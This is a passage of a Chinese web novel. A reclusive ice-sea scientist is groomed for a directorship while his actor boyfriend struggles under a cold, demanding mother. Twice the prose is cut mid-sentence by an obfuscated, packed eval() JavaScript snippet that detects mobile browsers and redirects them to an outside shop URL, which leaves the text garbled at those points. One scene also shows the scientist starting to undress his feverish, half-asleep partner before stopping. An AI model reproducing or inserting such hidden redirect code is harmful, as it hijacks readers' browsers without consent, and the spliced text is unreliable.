“所以我不确定我适不适合演艺圈,感到很迷茫……”戚清棠把脸埋在褚月恒怀里哭,“娱乐圈的同事们都好刻薄,和我的成长环境格格不入,我是不是做了错误的选择?” 他们在戚清棠位于泊岳新区中心的顶层住宅里,褚月恒用一只手搂着戚清棠,另一只手看网络上的贴子,里面都是研究生、博士生在吐槽他们的导师。 褚月恒越看越焦虑,不确定自己这个精神状态,能不能成为别人的导师? 他知道‘老师’这个角色需要肩负很重大的责任,比如他们北宁族的小学老师,尽管他满口错别字、小学数学题都能算错,但被他赶出学校这件事,还是让褚月恒耿耿于怀了好几年。 甚至到现在,褚月恒还能记得他当初说过的每一句话……嗯……也可能是因为他有超忆能力的原因。 “月恒,你怎么不回答我?你也觉得我不适合娱乐圈吗?”戚清棠泪眼朦胧的抬起头。 “你是天生的演员。”褚月恒勉强集中精力,轻轻抚摸着戚清棠的背,“我看过你演戏,非常有灵气,这是别人再努力也得不到的天赋。” “可是这个圈子里的人太刻薄了。”戚清棠难过的低下头。 对方只是说了几句话而已,褚月恒不懂戚清棠在纠结些什么:“那个骂你的演员叫什么?咱们给他一个教训,让你解气,好不好?” 戚清棠摇摇头:“我只是不知道他为什么不喜欢我?为什么对我有这么大恶意!” 褚月恒叹了口气,摸了摸戚清棠的头发:“他也许是有点嫉妒你吧。” 这句话歪打正着的把戚清棠给安抚住了,戚清棠乖乖的躺在褚月恒怀里平复心情。褚月恒摸了摸戚清棠的额头,发现他有点发烧,立刻说:“我去给你弄点感冒药。” “别去,叫管家去就好了。”戚清棠拉住褚月恒的袖子。 于是褚月恒继续抱着戚清棠,等管家端来感冒药后,他一口一口喂给戚清棠喝。褚月恒突然就想起了033说的话,033说戚清棠把他当成了妈妈…… 褚月恒试探着用抱婴儿的方法把戚清棠笼在怀里,柔声说:“好了,我带你去洗漱睡觉?” 戚清棠果然依恋的点点头,满脸幸福的说:“好,都听你的。” 褚月恒维持着温柔的姿态,伺候戚清棠洗漱穿衣后,试探着把戚清棠按在床上,勾住他的睡衣领子。 戚清棠迷迷糊糊的躺在床上,和平日里对他防备的样子完全不同,似乎他做什么,戚清棠都不会拒绝。 这是一个机会,褚月恒的大脑习惯性的释放了一些肾上腺素,催促他抓住猎物。 褚月恒思考着一个温柔的母亲会怎样说话,像是狼外婆一样进一步诱惑着戚清棠,并轻轻扯开戚清棠的睡衣,可神奇的大脑永远是不讲道理的,褚月恒的大脑莫名其妙的就回想起公山易禾说的话:“你是希望你母亲过得好,还是过得不好?” 然后,褚月恒想起了祝融的脸。 打算搞双人瑜伽的时候想起自己的母亲,这也是够惊悚的,褚月恒瞬间什么性质都没有了。 戚清棠慵懒的睁开眼:“月恒,你想什么呢?” 褚月恒摸了摸戚清棠的脸,轻声说:“没事儿,快睡吧。” 昏暗的灯光下,褚月恒低沉的声线就像一场梦,戚清棠听得都快醉了。 褚月恒轻轻拍着戚清棠的背,安抚他睡觉,脑海里想到的是自己的母亲,他从一出生睁开眼就拥有了记忆,还能隐约记得她也是这样哄他睡觉的。 亲戚们偶尔会低声谈论她,从他们的议论中,褚月恒知道她的名字是符于渊,她的生日在北宁历法中是百年难遇的渊日,那是极地最黑暗的极夜日,没有一丝光亮。于是她被送到了山上的神庙里,一生供奉神女。 几十年前,中原来了一个节目组,来北宁村拍摄纪录片,符于渊作为神侍,被带到泊岳城接受采访,村里人说她就是那次出去以后心野了,才会做出抛夫弃子的事情来。 褚月恒认为抛弃他父亲只能证明他母亲是一个智商正常的人类,他自己也抛弃了他父亲,他认同这个选择。 至于他自己也被母亲抛弃这件事……他合理推测是因为自己有父亲的一半血脉,有一半愚蠢的血脉,被嫌弃也是理所应当,褚月恒理智的思考着,并轻轻捏了捏戚清棠柔软的脸。 戚清棠有一个出轨狗保姆的父亲,公山佑是不是也嫌弃他? 褚月恒很快就否认了这个想法,如果戚清棠有一半愚蠢的血脉,那公山易禾呢?褚月恒下意识觉得光风霁月的公山易禾不该被这样形容。 公山易禾就是公山易禾,他是他自己,不是谁的孩子,也无所谓他父母是谁,他就是那个令人敬佩、喜爱的公山教授。 想来想去,褚月恒也没想出来什么结果,反倒是在梦里又看到了符于渊的脸,他看到符于渊拿着火把,将思明冰川之上的神庙变成一片火海。 褚月恒感到一阵强烈的恐惧,这种恐惧感在他过了三岁后就再也没体会到过了,那是一种极度渺小、极度匮乏的情感体验,他急需一个强大、光明的人来保护他。 于是褚月恒再次钻进神女雕像的怀里,他看到神女悲悯的脸,泪水从汉白玉雕像的瞳孔中滑落,砸在褚月恒脸上,是炽热的。 “月恒……我不想去剧组。” 梦境被打断,褚月恒睁开眼,发现戚清棠正在自己怀里嘤嘤嘤。 褚月恒恍惚了一会儿,勉强收拾了一下心情,准备研究戚清棠又遇到了什么问题,就在这时,手机响了,是李清木打来的。 清朗沉稳的声线带着长辈特有的可靠感:“月恒,方便空出午饭时间吗?我想带你见几个朋友。” 褚月恒满头雾水,不懂李清木这是要干什么,况且他怀里还有哭的稀里哗啦的戚清棠,他肯定是没时间去见什么朋友的。 “答应她。”033飘到褚月恒耳边,“她这是要介绍她的人脉给你呢。” “为什么?”问题刚出口,褚月恒自己就想到了答案,他们北宁村子的长辈会把自己在北宁区认识的神侍、渔船维修师等人脉介绍给他们的孩子,极地冰海研究所的同事也会把单位同事、合作大学的教授介绍给他们的孩子,李清木要做的事情和他们是一样的。 033像是会读心一样说:“你知道她想做什么,所以你要拒绝吗?” 褚月恒花了半秒时间沉思,戚清棠的哭声和昨夜的梦境在他脑海里轮番上台表演,然后他说:“今天不忙,您告诉我时间地点吧。” “不忙的话先来我办公室一趟吧,我刚得了一套新茶具,正好泡你送我的冰山雪芽。” 褚月恒看了眼怀里的戚清棠:“其实……” “她肯定是要嘱咐你一些重要的事情,”033打断了褚月恒的拒绝,“不然你冒然去见她的人脉,万一说错话怎么办?” 这个理由说服了褚月恒,他在戚清棠哀怨的目光中把自己收拾整齐,直奔李清木在泊大的办公室。 走出昏暗的公寓,迎来泊岳明艳的阳光,岳阳湖的银鸥嗷嗷直叫,繁忙的都市仿佛驱散了某些阴霾。 褚月恒意识到那间公寓里似乎存在着什么令他感到压抑、痛苦的东西,只要他走出来,那些似乎永远无法挣脱的思想桎梏就消失了。 褚月恒回头看向戚清棠家墨绿色的窗帘,仿佛又回忆起昨晚他们相拥而眠的温度,然后他深刻的意识到,他还是想回到那里,哪怕以忍受痛苦为代价,人类总会对各种恶习上瘾,戚清棠就是他的瘾。 就算脑子里一直想着乱七八糟的东西,褚月恒还是安全到达了李清木的办公室。 两条大鲤鱼在鱼缸里欢快的游动着,偶尔表演一个鱼跃龙门,李清木正坐在她那西北风情的木桩子茶桌旁泡茶,冰山雪芽凌冽的香气弥漫着,看到褚月恒后,她调侃道:“我今早去你的实验室找你,发现只有七叶一个人在,一问才知道原来你还是个夜猫子,难道你也像他们人文学院那群人一样,只有晚上有创作灵感?” “我白天有私事要忙。”褚月恒简练的解释了一下。 李清木惊讶的挑了下眉毛:“那你不睡觉吗?” “睡的。”褚月恒实事求是的讲。 李清木笑着摇摇头:“吃早饭了吗?” 现在是上午十点,但由于褚月恒是夜猫子,她还是多问了一句,结果褚月恒还真没吃。 李清木叫助理端上来了些茶点,然后直入主题:“中午我带你和冰河省省长吃顿饭,还邀请了维生科技的王先生,你对他们二位有基本的了解吧。” 褚月恒在极地冰海研究所的时候也应酬过,但最多也就和所长吃个饭,还从未和省长这种级别的人物交流过。若是以前的他倒也无所谓,所有人类在他眼里都是一个样子,见了也就见了。但现在,他对自己的状态不太自信:“岳阳湖区的科学家也需要应酬吗?” 李清木给褚月恒切了块定胜糕:“岳阳湖区的科学家可以选择不应酬,但是未来极地冰海研究院的院长要会应酬啊。” 褚月恒惊讶的看向李清木,李清木露出一个鼓励的微笑:“月恒,还记得我们在泊岳大厦吃饭时谈论过的事情吗?我们要在极地冰海建立一个研究基地,直通岳阳湖区总部,调动夏国最大的资源来研究冰海。要实现这么大的远景,势必要在岳阳湖区建立一个新的研究院,还有谁比你更适合做院长呢?” 院长?我吗? 梦想是一个人躲在冰海,最好跳进去永远和所有烦恼再见的褚月恒:“……” “放心吧,我不会一上来就让你负责这么大的事情,你毕竟还年轻,还得历练几年,对吧?”李清木安抚似的对褚月恒笑了笑,“你怎么一副被吓到的样子?” “我没有。”褚月恒强作镇定。 李清木被褚月恒逗乐了,她没想到褚月恒的反应会是这样的。她在泊岳接触到的年轻小伙子,要么是出身高贵,要么是少年英才,一个个自信的恨不得他们老大天老二,像褚月恒这样的孩子,她倒是很少见,有这么优越的条件,为什么要不自信呢?正是因为如此,她才要推着褚月恒往前走。 她这些年带过几个出色的学生,她也经常来泊大讲课,见过各种各样的年轻人。她知道有些孩子曾经长期处于不安全的环境里,比起锐意进取,他们更喜欢躲起来。 在李清木看来,褚月恒就有这种倾向,这可不行,才华不能被埋没,野心不能被恐惧的牢笼囚禁,前途无量的年轻人就该大胆的向前走。 “别担心,我会带着你认识人,教你如何建立实验基地,易禾会协助你管理,七叶也会辅助你,这些事情都不难。海洋生物研究院的院长就是我的学生,她在英云海的实验基地就是我协助她建立的。” 褚月恒还是有些犹疑,李清木说的这些事情,一听就是一个长线工程,他都不确定他下个月还在不在这个行业里,或者也许他下个月就要去冰海里找神女了,这个精神状态真的能给岳阳湖区建立一个新的研究院? 褚月恒无法理解,为什么李清木选中了他?他孤僻、古怪,以前还有工作积极、情绪稳定的优点,现在连这两个优点也没有了,他到底是哪里入了李清木的法眼? 他大学时也被某些老师喜欢过,但那都是因为他一个人能干实验室里三个人的活儿。现在,他在岳阳湖区也就只是完成了自己分内的任务罢了,丝毫没有给李清木分忧。 李清木看出了褚月恒的犹豫,褚月恒以为她会对自己失望,但李清木并没有表露出任何失望的情绪,反而耐心地引导:“月恒,我选择你是有原因的。我一直认为做科研最重要的不是解算公式,或者设计一个完美的实验,这些事情当然重要,但到达某一个层面后,这些事情都只是最基本的。” “最重要的,是对科研方向的品味。”李清木认真的看着褚月恒,“你是一个有品味的孩子,你甘心做一个普通的科学家,研究别人下发的任务,还是做这个领域的开创者,引领人类探索冰海的方向呢?我选择你做这个引领者,是因为你对冰海研究的品味打动了我,那你自己呢?” 033也飘到褚月恒耳边说:“去做吧,这的确是一个漫长、繁重的任务,但是一天一天的执行下来,就会完成的。” 就像很多深陷绝境、被隐形牢笼困住的人一样,一天一天的走下去,总有一天他们回头看去,会发现轻舟已过万重山。 李清木的话给褚月恒匮乏的内心注入了某种力量,033的话又给了褚月恒一个答应李清木的理由,他不需要搞清他一个月后是否还在这个行业,他只需要计划好今天要做什么、明天要做什么,然后努力坚持的更久一点。 答应李清木后,褚月恒在宿舍里看了很久的资料,从岳阳湖区如何建立到每个研究院的历史,要学习的还有很多。 想要逃到戚清棠身边的渴望又从他脑海里冒出来,就像酒瘾者、烟瘾者、手机上瘾的家伙一样,他们的大脑好像患有皮肤病,时不时就要发作一下,无法控制。 手机消息提示音又响了,是戚清棠的消息,又是往常那些话,剧组的演员排挤他,他身体不舒服,导演似乎嫌弃他是个关系户,指责褚月恒没能陪他,让他一个人哭着来工作…… 随着消息而来的是熟悉的压抑、愧疚、懊悔、悲伤,这种感觉让褚月恒更加想要闪现到戚清棠身边,可他的资料还没看完,还有两小时就到午饭时间了,他不想在餐桌上表现得和从前一样,古怪、孤僻,那不是一个院长该有的样子。 跟自己较劲了一分钟,褚月恒放下了手机,没有回复消息。 按照褚月恒以往应对戚清棠的经验,晾他几个小时不是什么大问题,只要甜言蜜语哄一哄,再找个合理的借口就可以了,他吃完午饭会立刻出现到戚清棠身边,及时的扑灭戚清棠的怒火。 可惜,岳阳湖区预备院长注定不会有那么多可自由支配的时间。 午饭吃的很愉快,于是褚月恒又被李清木拉去和省长的朋友们打高尔夫,又认识了乱七八糟的一堆人,晚上回来,李清木又带着褚月恒去泊岳大厦的餐厅一边吃饭一边复盘下午的事情,并留下家庭作业,让褚月恒整理一份关于极地冰海研究院的规划发给领导。 褚月恒还是第一次写这种东西,在实验室里对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那好说,我来帮你。”公山易禾对和政客胡诌这种活儿非常熟练,三下五除二就写了一堆得体的漂亮话进去,把褚月恒的发展规划润色的可以当新闻稿了。 “以后你就照着我这个模板往里套,”公山易禾一边敲字一边跟褚月恒讲解,“偶尔也看一看新闻和采访,学点新的词汇替换一下。冰河省省长是干脆利落的性子,重视实干,所以我的语言就详实也一点,遇上那些比较吃忽悠的领导,你就得学点销售的话术,吹嘘一下自己的东西了。 褚月恒震惊看着公山易禾随随便便就敲出一篇文采飞扬、亲切又不失尊重的文章:“这叫详实风格?那华丽风格是?” “这样吧,我在括号里把华丽风格的模板给你备注出来。”公山易禾游刃有余的写出来一大段形容词,把褚月恒这个发展规划吹得天上有地下无,熟练使用画饼技巧做向上管理,把最终要实现的愿景写的天花乱坠。 褚月恒震惊的咬了一口哈密瓜鸭子卷,就这么看着公山易禾三下五除二把他焦虑了一整天的东西弄完了。 其实他自己来写,也就是多耗费几个小时的事儿罢了,褚月恒自己都有些弄不明白自己刚才到底在焦虑什么。 033在旁边干笑,她分明记得褚月恒刚才除了发愁报告的事儿,还胡思乱想到自己无法胜任院长的事儿,并同时为该如何哄回戚清棠而焦头烂额,抽空还要回想一下自己破碎的科研理想和孤独的过往。 事实证明这些事都不是什么大问题,公山易禾一来,它们就全部被抛到脑后了。 “吃撑了,去散步吧。”公山易禾一马当先的溜达了出去。 褚月恒二话不说也跟着溜达了出去,033在旁边数着时间,想看看褚月恒什么时候能想起来他还有戚清棠的消息没回。 他们走到旁边景区的花之街道上,有仙女吊着威亚在湖面上飞来飞去,洒下一池子花瓣。游客们蹦蹦跳跳的拍照,泊岳特有的炒茶师傅炒出一街茶香。 褚月恒注意到连湖边的石栅栏边都养着一盆盆精致的三角梅,这个城市的每一处细节都在展现着美丽。 褚月恒跟着公山易禾一起观赏苏绣摊上的仕女图,然后问:“公山教授,清棠喜欢这些东西吗?” 公山易禾尽量平复自己的心态,不让自己感到嫉妒:“他倒是没买过这些,不过他喜欢精美的艺术品。” “那您看这个金蛇报喜怎么样?”褚月恒算了算,发现戚清棠属蛇,买这个还挺应景的。 公山易禾随便看了两眼,点点头:“很喜庆,倒是适合挂在公山庄园里,你们近期有什么纪念日吗?怎么突然想起来要买礼物?” 褚月恒不知道该怎么回答,他知道公山易禾非常宠爱戚清棠,要是坦白自己八小时没回戚清棠的消息,他可能就失去这个朋友了。 但是现在不说,要是之后戚清棠去找公山易禾说了,就显得更不好了。 褚月恒纠结了半天,还是认命的坦白:“忘了回清棠的消息,想买个道歉礼物补偿一下。” 公山易禾有些意外:“送这么大个挂画当道歉礼物吗?” 等着被公山易禾指责的褚月恒:……重点是这个吗? “你拿着这么大的东西去道歉,好像有点奇怪。”公山易禾盯着着喜庆的苏绣思考了一会儿,然后灵光一闪,“剧组休息的时候不都用那种腰枕吗?你买个这个金蛇腰枕正合适。” “我给他买过腰枕了。”褚月恒摸了摸这个苏绣腰枕,摸上去不如他买的专业腰枕舒服。 “那颈枕?” 褚月恒笑着摇摇头:“都买过了,清棠都进组这么多天了,该准备的我都给他准备齐了。” “还真看不出来。”公山易禾盯着褚月恒感慨了一句,想象不到褚月恒这种人还能这样贴心的伺候人。就像不食人间烟火的神仙不光走下了神坛,还跑去凡人家里当了田螺姑娘。 “所以我到底送什么合适呢?”褚月恒下意识觉得公山教授什么都会,有事儿问他就对了。 可惜这题公山教授不会:“那……戒指?” 褚月恒被公山易禾逗乐了,终于看穿了公山易禾贫瘠的恋爱经验:“教授,戒指是不可以乱送的。” “送戒指也不一定是那个意思,也可以是戴着玩的。”公山易禾不以为意的说。 “对于情侣来说是不可以送着玩的。”褚月恒坚持自己的看法。 公山易禾看向褚月恒手上的紫色宝石戒指:“所以你俩这对儿情侣戒指代表着你们会结婚吗?” 褚月恒不太自在的转了一下右手上的戒指,不知道该怎么跟公山易禾解释,这个戒指是戚清棠在冰原时哀求他戴上的,而现在,想要对方不要摘掉戒指的人变成了他。 “这个问题也不能随便问的。”最后,褚月恒只是似是而非的回答了一句,他不知道公山易禾会不会因此觉得他是渣男。 显然,公山易禾没有,他只是平静的点头:“学到了,也许以后我能用到。” “真想不到什么样的人配得上您的喜欢。” 褚月恒清清泠泠的黑眸中闪过一丝清浅的笑意,在旅人的欢呼中,仙女带着漫天花瓣飞过,公山易禾直勾勾的盯着褚月恒的眼睛,略带苦涩的回答:“是吧,我也想不到,也许我的爱人是科学吧。” 32. 互相玩弄 公山庄园,戚清棠手足无措的将公山佑迎进来:“妈妈,您不是在云英海岸度假么?怎么突然回来了。” 公山佑面无表情的将包递给管家:“泊岳这边的资产出了点状况,回来处理一下。” 活力四射的魏明锦跟在她身后,朝戚清棠眨了下眼睛,不知是想讽刺他还是单纯想要逗弄一下小孩儿。 “在楼下等我十分钟。”穿上拖鞋后,公山佑开始脱西装外套,“等我放完行李,我们聊聊。” 戚清棠心里直打鼓,忐忑的坐在沙发上,求助似得看向管家,管家正直勾勾的盯着魏明锦看,没时间搭理他。 “别担心呀小清棠,你妈妈就是想关心一下你的近况,你最近拍电影拿奖了,还谈了对象,总得和她汇报一下吧。”魏明锦往沙发上一倒,修长有力的腿包裹在丝袜里,搭在沙发上一晃一晃的,比在自己家都自在。 戚清棠看不惯她这个样子:“从前我爸爸从没让我妈自己拿过行李。” “但是他睡了狗保姆呀。”魏明锦笑出两颗吸血鬼尖牙,“听说他们是在你家卧室胡搞的,是哪一间?” 戚清棠冷着脸回答:“这和你没关系。” 这时,公山佑从二楼下来了,戚清棠立刻正襟危坐,露出一个小心翼翼的微笑:“妈妈,您度假还顺利吗?” “深更半夜接听你奶奶的电话,得到你快要死掉的消息,应该算是一个不顺利的事吧。”公山佑平静的说,“显然,八个小时的时差对于她的大脑来说太过复杂。” 魏明锦放肆的大笑:“那个老太婆不知道她打断了多么重要的事情。” 戚清棠对魏明锦怒目而视,魏明锦收敛了一下笑容,说:“亲爱的,也许你该关心一下你儿子的身体。” “不必了,你的医生把病历发给我了,只是有些体弱,问题不大。”公山佑淡漠的说,“如果你按照我给你制定的计划健身,就不会这么严重。” 戚清棠低下头:“对不起,您规定的计划太严苛了,我每次做完都喘不过气来。” “不会的,我算过了。”公山佑坚定的说。 戚清棠垂下眼睛,没再说什么。 魏明锦忍不住介入道:“亲爱的,他说他喘不过气来,会不会是你的计划有所疏忽?” “他不会喘不过气。”一生经历无数次胜利和荣耀的公山佑显然不认为自己会算错,最大的可能就是她这个废物儿子感觉错了。 戚清棠显然已经习惯了,他强颜欢笑道:“妈妈,我拿奖了,泊岳星光盛典在全世界都是响当当的,我靠自己就拿到了泊岳盛典的入场卷。您看我新拍的电影了吗?” “我当然看了,你拿奖的视频我也看了。” 戚清棠的笑容还没扬起来,就听公山佑犀利的评价道:“把一个逻辑混乱、情节平庸的故事套进神秘的极地冰原后,观众就相信这个电影有格调了。用冰原背景给电影镀金,很聪明的想法。” 戚清棠感到一阵强烈的羞耻,他此生最自豪的成就被残忍的否定,令他下意识想要反驳,但他张口却不知道该怎么说。 曾经那令他心潮澎湃的剧本,那神秘、精彩的情节,摆放在公山佑面前显得那么苍白、幼稚。 一个普普通通的打工人去极地旅游,偶然遇见生活在冰原中的神秘猎人,什么一起挖掘埋藏在极地深处的宝藏……这听上去就是很寻常的套路。 至于挖掘宝藏时设计的那些机关和巧思,在公山佑面前也显得很粗陋。 戚清棠突然想起来自己在冰原时从未和褚月恒讲过自己的剧本,因为他潜意识觉得褚月恒会嘲笑他,就和他面对公山佑时的心态是一样的。 最终,戚清棠投降般笑了笑:“您说的对,我刚拿到剧本也觉得有些幼稚,但为了拿奖么,去冰原吃点苦也值得。” 公山佑赞同的点点头:“以你的演技,这是拿奖的唯一办法,你终于聪明了一回。” 戚清棠迎合着笑了笑。 “你在冰原找了个男朋友?” 戚清棠心中一跳,忐忑的说:“对,他现在在岳阳湖区工作,是很厉害的科学家。” “褚月恒是吧,我知道他,李清木说要培养他做极地冰海研究院的院长。”公山佑想了想,觉得没什么问题,就最后补充了一句,“我明天要去和李清木阿姨吃饭,你一起吗?她可能会带上褚月恒。” 戚清棠连忙拒绝:“我明天要拍戏。” “那好,我先休息了,以后不要光着身子在雪地乱跑。” “我没有光着身子……”没人听戚清棠的解释,公山佑已经带着魏明锦去后花园钓鱼了。 公山佑回来的这短短半小时,已经让戚清棠感觉有点想要跳湖了,他打电话给公山易禾:“哥哥,妈妈回来的事儿你怎么不通知我?” 公山易禾吓了一跳:“她跟我说要去三环内的公寓住,没说要带着魏影后回庄园。现在没时间说别的了,月恒已经往庄园过去了。” 戚清棠无措道:“那怎么办,你去把他追回来?” “你给他打电话让他别过去不就行了。”公山易禾有点无语。 “不行,我们在冷战,我不会主动联系他的。” “好吧,但下次不要把我掺和进你们小情侣的事情里。”公山易禾答应。 褚月恒在公山庄园的山头随便找了个地方停车,然后从后备箱里拿出那巨大的金蛇报喜挂画,庄园后院的湖泊倒映着清朗的明月,正在钓鱼的公山佑和魏明锦下意识回头,借着车灯惨白的光线和褚月恒遥遥对视。 “公山女士,魏影后,您好。”褚月恒有点拘谨的打了个招呼,由于他双手拿着挂画,甚至都没法和俩人握手。 公山佑微微挑眉:“你要把这个挂我的庄园里?” 褚月恒抿了抿嘴,不知道该如何回答:“清棠会决定放在哪儿。” 公山佑意味不明的笑了一下:“行,进去吧。” 这会儿公山易禾的电话才打进来,褚月恒听完公山易禾讲话后才无奈的说:“我已经到庄园了,你别担心。” 公山易禾顿了一下,才说:“觉得尴尬的话,就送完东西赶紧跑就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271812|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “那怎么行。”褚月恒被逗乐了,还第一次有人这样嘱咐他,告诉他不舒服的时候可以选择落荒而逃,这真的很奇怪。 “为什么不行?”公山易禾反问,“不喜欢就走。” “嗯。”褚月恒微微垂下眼睛,乖乖的应了一声,“我先去送礼物,挂了吧。” “唉。”电话那头传来公山易禾意味不明的叹息声,褚月恒几乎可以想象到公山易禾是怎样穿着柔和的睡衣,在光线柔和的客厅拿着电话轻轻叹气的,“有事的话可以叫我去救你,我应付我妈还是有一手的。” “知道了,你别瞎担心了。”褚月恒轻笑了一下,“这儿没什么问题,你休息吧。” 褚月恒刚挂断电话,就见魏明锦抱着胳膊审视他:“电话那边是谁啊?你是不是出轨了?” 褚月恒愣了一下:“是公山教授,公山易禾。” 魏明锦皱着眉头盯着褚月恒看了一会儿:“你的出轨对象是你大舅哥?” 褚月恒佩服魏明锦的想象力,不愧是演戏的,脑回路就是和一般人不同。 偏偏这会儿公山佑也瞎掺和:“你比清棠大足足九岁,算是老男人,但是跟易禾在年龄上倒是合适。” 褚月恒看向公山佑,正对上公山佑锐利的眼睛,褚月恒绞尽脑汁,干巴巴的为自己辩解:“但是我长得年轻。” “我对你的外貌没意见。”公山佑诚实的说,“褚先生,你非常漂亮。但恕我直言,基于你之前的行为,我对你没有信任,我有理由怀疑你在玩弄清棠的感情和身体。” 感情就算了,为什么还有身体…… 褚月恒尴尬的想跳进冰海里,人在尴尬时,嘴巴就会不受控制,更何况褚月恒这段时间一直处于承受过于浓烈的情感导致感官过载的状态,就更难以控制自己的行为了,于是他脱口而出:“我们是……互相玩弄。” 魏明锦哈哈大笑:“小佑,我觉得这孩子没撒谎,他看上去比泊岳那些纨绔子弟老实多了,不像是个会胡闹的,你就放他走吧。” 公山佑勾了一下唇角:“行,明天见。” 褚月恒舒了口气,然后猛地反应过来:“明天?” “李清木没告诉你吗?明天她带你和我一起吃午饭,下午我们去参观你的实验室,晚上一起参加晚宴。” 褚月恒看了眼消息提醒,李清木一个小时前刚发消息跟他简单说了一下这事儿,大概是觉得这事儿不紧急,就没打电话通知。 “哦,那明天见。”面对此生最尴尬的时刻,褚月恒竟是有些想发笑。 “我看了你的档案,本以为是个机灵孩子,怎么瞧上去迷迷瞪瞪的。”公山佑上下打量着褚月恒,“就你这小家伙,还想做岳阳湖区的第十位院长?” 魏明锦打圆场:“嗨呀,人家这样是被你吓得,快放人家走吧,不然易禾该心疼他的小心肝了。”说完后还做了个‘假哭’的表情。 褚月恒:……你也没放过我。 “那我先进去了,不打扰你们钓鱼了。”褚月恒扛起挂画,落荒而逃。 33. 夜谈 面见戚清棠前,褚月恒很有心机的喷上了公山佑的同款香水,把自己的头发抓的稍微蓬乱了一点,让自己看上去更‘柔和’。 不过他这番心思是白费了,戚清棠被公山佑一吓,已经顾不上和褚月恒斗气了,褚月恒一道歉,他就立刻接受了,然后开始倾诉自己被公山佑折磨的苦不堪言的事儿。至于那挂画,他只是看了一眼,然后说还是挂到自己的公寓里去,留在庄园肯定会被他亲妈挑刺的。 这一刻,褚月恒是真情实感的开始同情戚清棠了。公山佑是很了不起的人,但有这么个母亲真不是什么愉快的体验。 第一次,褚月恒没把戚清棠幽怨的倾诉当作烦人的噪音忽视掉,他开始学着认真听戚清棠讲话。 戚清棠的讲话内容没有任何变化,无非就是他身体差,支撑不起高强度学习,也不擅长数学,人们都针对他,看不到他的好。 但褚月恒开始意识到,这并不是无病呻吟。 褚月恒用一种全新的视角审视这个和他发生过最亲密关系的男人,发现发生在戚清棠生命里的每件事,都是他和他母亲之间相处模式的延伸。他用尽全力,却只能得到他母亲的否认和鄙夷,从那以后,他就一直用这个模式活着,沉浸在自怨自艾中,对生活中发生的所有事件都感到无能为力。 褚月恒意识到,现在戚清棠不仅仅是第一个和他发生亲密关系的人,还是在这个世界上,他最了解的一个人类。如此深刻的看见一个人类的内心是一种很神奇的体验,尤其是对褚月恒这种封锁大脑情感功能多年的人来说,更是一种深刻的体会。 在理解他的同类的过程中,他也在更加了解自己。 “清棠,你母亲说的不对《冰海寻踪》不是一部靠极地镀金的电影,这部电影拿了岳阳湖奖,这是电影界的最高荣誉。”褚月恒帮戚清棠理了理凌乱的头发,柔声说。 戚清棠的眼睛肿的像一只小兔子,他期期艾艾的看向褚月恒,抽抽噎噎的说:“但是……母亲可以捧出来无数个影帝、影后,岳阳湖奖对她来说不过是个讨好美人的玩具。” “但是她不会演戏啊,公山女士非常美丽,但是从未学过表演,不懂得如何在荧幕上释放魅力,在这方面,她就是不如你。” 褚月恒耐心地看着戚清棠,他真正的看见了这个人,心中充满了对戚清棠的包容和怜悯,他意识到人心都是肉长的,包括他自己,在这方面他并不特别。神奇的是,人们都说当你真正看见一个人时,你会爱上他,可褚月恒的反应却正相反,他对戚清棠那种躁动的上瘾感似乎在慢慢消退。 从前对戚清棠的依赖、嫌弃都随着这场‘看见’而消失,随之而来的是理解和尊重……还有一丝不易察觉的疏远。 “演戏是没有用的事情。”戚清棠小声说,“我不像你们,你们做的是能改变世界的事情。” “演戏是没有用的事情,”褚月恒重复了一遍这句话,然后说,“你喜欢看电影,每当遇到喜欢的电影,你会看三遍,再看一遍带解析的版本,所以这句话一定不是你说的。你可以回想起来是谁跟你说的这句话吗?” 戚清棠六神无主的回忆了一会儿,然后说:“是妈妈。” “那你要听从她的吗?”褚月恒认真的观察着戚清棠的神情,越发觉得他像只惊慌失措的小兔子。 “她说的总是对的,她比我厉害多了。”戚清棠沮丧的说,“她说的才是对的,我是那个沉浸在幻想和文艺中的废物。” “我们每个人都用不同的眼光看世界,再厉害的人也不能掌控别人心中的真理。牛顿说有万有引力,但有的人就选择不相信,他有权利选择不相信。” 褚月恒捏了捏戚清棠柔软的脸,“我出生在贫瘠的冰原,我翻开一年级地理书,看到的是神秘的边疆,浩大的世界。你出身繁荣的泊岳城,翻开地理书看到的是边疆穷乡僻壤,夏国之外一片狼藉。我们都没有错,不是吗?” 戚清棠慢慢停止了掉泪,他依偎在褚月恒怀里:“你说的好像有道理,我似乎应该努力把母亲植入我脑海里的念头清除出去。” 这一次,褚月恒没有趁机亲吻戚清棠的冲动,他只是单纯的抱着戚清棠,给他安慰:“你一定可以做到的。” “人们都羡慕我,说我一出生就拥有了一切,我父亲经常说,我这辈子没受过苦,娇生惯养。”戚清棠讽刺的笑了笑,“可我每天都不开心,总觉得自己是个废物,还是个德不配位的废物,拥有着我不配拥有的东西。如果有一天,我可以把这些思想包袱都扔掉就好了,可有时候我不相信真的会有那天。” 褚月恒点点头,柔声笑道:“这一定是你父亲在你脑子里植入的广告,他说你是个德不配位的废物。其实他的潜台词是,他嫉妒你生来就有好的物质条件。” “你为什么不嫉妒我?”戚清棠突然看向褚月恒,眼睛亮亮的,“你很像我爸爸,都出身不好,不喜欢自己的父母,靠自己打拼的过程中吃了很多苦,但你就不嫉妒我。” 还没等褚月恒说话,戚清棠又急忙说:“有时候你又很像我妈妈,高高在上的俯视众生,不近人情、难以亲近,隔绝在自己冰冷的世界里,追逐一些常人不理解的东西。我对你一直很好奇,好奇你是怎么从我爸爸这种出身里,发展出和我妈妈一样的性格的?” 褚月恒有些意外,他没想到戚清棠居然在心里这样分析过他,这么看来,他们从前沟通的确有大问题,这些话,戚清棠之前可从未说过。 